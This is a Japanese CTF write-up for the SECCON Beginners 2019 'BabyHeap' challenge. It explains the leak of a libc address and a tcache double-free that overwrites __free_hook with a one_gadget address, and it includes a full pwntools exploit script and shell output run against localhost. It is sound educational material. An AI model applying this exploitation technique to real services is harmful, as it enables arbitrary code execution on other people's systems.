はじめに
5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.
お疲れ様でした。
— Maru (@GmS944y) 2019年5月26日
#ctf4b pic.twitter.com/QG3vfwFlB9
BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.
配布されたファイル
実行ファイルとライブラリが配布されました.
- babyheap
- libc-2.27.so
ファイルの調査
$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped $ checksec.sh --file babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap
プログラムの動作
$ ./babyheap Welcome to babyheap challenge! Present for you!! >>>>> 0x7f54f180ca00 <<<<< MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
プレゼント
実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.
_IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
- 例:
0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000
MENU
- Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrが
NULLの場合のみ). - Delete: mallocで確保した領域を解放(free).
- Wipe: mallocで確保した領域へのアドレスを格納した変数ptrを
NULL. - Exit: プログラムを終了.
とりあえず結果
エクスプロイトコード
from pwn import * stdin_off = 0x3eba00 one_gadget_off = 0x4f322 free_hook_off = 0x3ed8e8 s = remote("localhost", 9999) s.recvuntil(">>>>> ") stdin_addr = eval(s.recv(14)) info("stdin_addr: 0x{:08x}".format(stdin_addr)) libc_base = stdin_addr - stdin_off info("libc_base: 0x{:08x}".format(libc_base)) free_hook = libc_base + free_hook_off info("free_hook: 0x{:08x}".format(free_hook)) one_gadget = libc_base + one_gadget_off info("one_gadget: 0x{:08x}".format(one_gadget)) # step1: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("AAAAAAAA") # step2: free(1回目) s.recvuntil("> ") s.sendline("2") # step3: free(2回目) s.recvuntil("> ") s.sendline("2") # step4: wipe s.recvuntil("> ") s.sendline("3") # step5: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(free_hook)) # step6: wipe s.recvuntil("> ") s.sendline("3") # step7: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("BBBBBBBB") # step8: wipe s.recvuntil("> ") s.sendline("3") # step9: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(one_gadget)) # step10: free s.recvuntil("> ") s.sendline("2") s.interactive()
実行結果
$ python solve.py [+] Opening connection to localhost on port 9999: Done [*] stdin_addr: 0x7f4e8212aa00 [*] libc_base: 0x7f4e81d3f000 [*] free_hook: 0x7f4e8212c8e8 [*] one_gadget: 0x7f4e81d8e322 [*] Switching to interactive mode $ id uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)
処理を追ってみる
step1~10に分けて処理を見ていきたいと思います.
step1
まず,1. Allocを選択してデータAAAAAAAAを入力します.

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.
ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.
step2
次に2. Deleteを選択して確保した領域を解放します.
今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.


step3
再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.


step4
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step5
1. Allocを選択し,データとして書き込み先のアドレスを格納します.

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).
step6
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step7
step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcacheに___free_hookへのアドレスが格納されます.

step8
3. Wipeを選択し,再び1. Allocが可能な状態にします.
step9
step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

step10
step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.
おわりに
疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.